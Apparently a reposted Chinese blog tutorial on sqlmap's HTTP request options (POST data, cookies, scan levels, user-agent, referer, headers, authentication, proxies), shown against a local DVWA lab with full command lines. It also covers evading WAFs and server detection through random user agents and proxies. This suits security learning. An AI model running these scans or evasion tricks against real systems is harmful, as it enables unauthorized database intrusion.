Sqlmap自动注入--REQEST

数据段: --data

 

sqlmap.py -u ”192.168.1.101/mullitea/login.php" --data="username&passwd=2" --dbs

data后面数据在网络的参数里面粘贴源代码

变量分割符: --param-del

cookie头

如果你想用sqlmap扫描一个需要登陆验证的页面进行扫描

cookie是你登录的cookie信息

>sqlmap.py -u "http://127.0.0.1/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs

由于这里我们已经发现id存在注入所以我们就不找其他的了

利用:web应用需要基于cookie的身份认证

cookie(2)

还可以自动检查cookie中的注入点

在运行过程中服务端可能给客户端新的cookie值 sqlmap这里会自动更新 会停下来提示我们产生了新的cookie 会问我们使用旧的cookie还是使用新的cookie

检查cookie中的注入点的时候 sqlmap默认的leve是=1 这是sqlmap是不会扫描的 至少要level 2

C:Python27sqlmap>sqlmap.py -u "http://127.0.0.1/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --level 2

 --uesr-agent

--random-agent

这里我们来进行演示

先打开wireshark进行过滤掉其他的扎包 只看192.168.1.101的包

发包之后就会看见我们在一直向101发包

随便找一个对话流

看见这里user-agent是sqlmap

这样对于服务器端很容易发现你是sqlmap 扫描的 这时候服务器端开启过滤你就很难成功扫描了

这时候我们就得想办法绕过

cat /usr/share/sqlmap/txt/user-agents.txt

看见里面有大量的浏览器的agent信息

那么下面我们就来使用这个random

--random-agent

在用wireshak看user-agent就是不一样了

我们还可以自己设定--user-agent=“”

都是跟在命令行最后面这些命令

当扫描的level>=3的时候才会去尝试探测user-agent头是否存在sql 注入漏洞

sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --random-agent

host头里面存在sql注入漏洞 level》=5.

sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --random-agent

referer头

--referer=

sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --dbs --referer="aaa" level 3

 header --header

每个头单独一行 (名称区分大小写)

1 sqlmap -u "http://192.168.1.101/dwva/vulnerabilities/sqli/?id=d&Submit=Submit#" --
cookie="PHPSESSID=8cft2h1m6ri2v4go1d6g1nt7g0;security=low;XUcP_2132_lastvisit=1555911335;XUcP_2132_nofavfid=1;XUcP_2132_saltkey=k0Z9sSEf;XUcP_2132_smile=1D1;XUcP_2132_ulastactivity=64675Qsl+gACXAVJLm+NXJf66kk7vkgfSU1eQD5E2Y5g+8stkEPY" --headers="Host:www.abc.com User-Agent:bbbbbb" -f

这里我们用wireshark再次抓包 看见host变成了www.abc.com useragent变成了bbbb

是换行符号

method --method=POST/GET

目标服务器设置了指定方法这里可以直接指定 以免出发WAF

基于HTTP的身份认证

 有些网页是基于表单的身份认证basic是基本的身份认证

sqlmap -u “xxx” --auth-type Basic --auth-cred "user:pass"

https(代理)(进行扫描时防止被目标服务器发现 然后给你屏蔽掉)这种结果很不理想

--proxy="http(s)://127.0.0.1:8087"(如果代理需要身份认证 后面加上下面一行)

sqlmap -u "https://xxxxx" --proxy='http://127.0.0.1:8087'

注意后面的事单引号

--ignore-proxy 忽略系统代理设置,通常用于扫描本地网络目标

如果你的操作系统层面设置了代理 但是你要扫描的是你的本地扫描的一个代理 就不能扫描了 所以遇到这种情况 我们就忽略代理设置 来进行扫描

--proxy-cred="name:pass"

 

 

原文地址:https://www.cnblogs.com/-zhong/p/10856018.html